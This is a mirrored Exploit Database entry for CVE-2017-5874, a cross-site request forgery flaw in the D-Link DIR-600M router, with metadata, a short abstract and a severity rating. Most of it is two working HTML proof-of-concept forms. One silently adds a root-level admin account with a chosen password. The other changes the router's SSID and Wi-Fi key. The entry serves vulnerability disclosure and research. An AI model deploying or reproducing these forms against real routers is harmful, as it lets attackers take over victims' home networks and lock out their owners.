D-Link DIR-600M – Cross-Site Request Forgery

Exploit Database
114 阅读

作者： Ajay S. Kulal

日期： 2017-02-10
类别：
- webapps
平台：
- hardware
来源：https://www.exploit-db.com/exploits/41299/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

# Exploit Title:D-link wireless router DIR-600M – Cross-Site Request Forgery (CSRF) vulnerability

# Google Dork:N/A

# Date: 07/02/2017

# Exploit Author:Ajay S. Kulal (www.twitter.com/ajay_kulal)

# Vendor Homepage:dlink.com

# Software Link:N/A

# Version:Hardware version: C1

Firmware version: 3.03

# Tested on:All Platforms

# CVE :CVE-2017-5874

Abstract:

=======

Cross-Site Request Forgery (CSRF) vulnerability in the DIR-600M wireless router enables an attacker

to perform an unwanted action on a wireless router for which the user/admin is currently authenticated.

Exploitation-Technique:

===================

Remote

Severity Rating:

===================

7.9 (AV:A/AC:M/Au:N/C:C/I:C/A:C)

Details:

=======

An attacker who lures a DIR-600M authenticated user to browse a malicious website

can exploit cross site request forgery (CSRF) to add new admin, change wifi password and to change other network settings.

Proof Of Concept code:

====================

1. Add new user with root access

<html>

<body>

<form action="http://192.168.0.1/form2userconfig.cgi" method="POST">

<input type="hidden" name="username" value="AK" />

<input type="hidden" name="privilege" value="2" />

<input type="hidden" name="newpass" value="dolphin" />

<input type="hidden" name="confpass" value="dolphin" />

<input type="hidden" name="adduser" value="Add" />

<input type="hidden" name="hiddenpass" value="" />

<input type="hidden" name="submit.htm?userconfig.htm" value="Send" />

<input type="submit" value="Submit request" />

</form>

</body>

</html>

2. changing wireless password

<html>

<body>

<form action="http://192.168.0.1/form2WlanBasicSetup.cgi" method="POST">

<input type="hidden" name="domain" value="1" />

<input type="hidden" name="hiddenSSID" value="on" />

<input type="hidden" name="ssid" value="Dravidian" />

<input type="hidden" name="band" value="10" />

<input type="hidden" name="chan" value="0" />

<input type="hidden" name="chanwid" value="1" />

<input type="hidden" name="txRate" value="0" />

<input type="hidden" name="method_cur" value="0" />

<input type="hidden" name="method" value="2" />

<input type="hidden" name="authType" value="2" />

<input type="hidden" name="length" value="1" />

<input type="hidden" name="format" value="2" />

<input type="hidden" name="defaultTxKeyId" value="1" />

<input type="hidden" name="key1" value="0000000000" />

<input type="hidden" name="pskFormat" value="0" />

<input type="hidden" name="pskValue" value="password123" />

<input type="hidden" name="checkWPS2" value="1" />

<input type="hidden" name="save" value="Apply" />

<input type="hidden" name="basicrates" value="15" />

<input type="hidden" name="operrates" value="4095" />

<input type="hidden" name="submit.htm?wlan_basic.htm" value="Send" />

<input type="submit" value="Submit request" />

</form>

</body>

</html>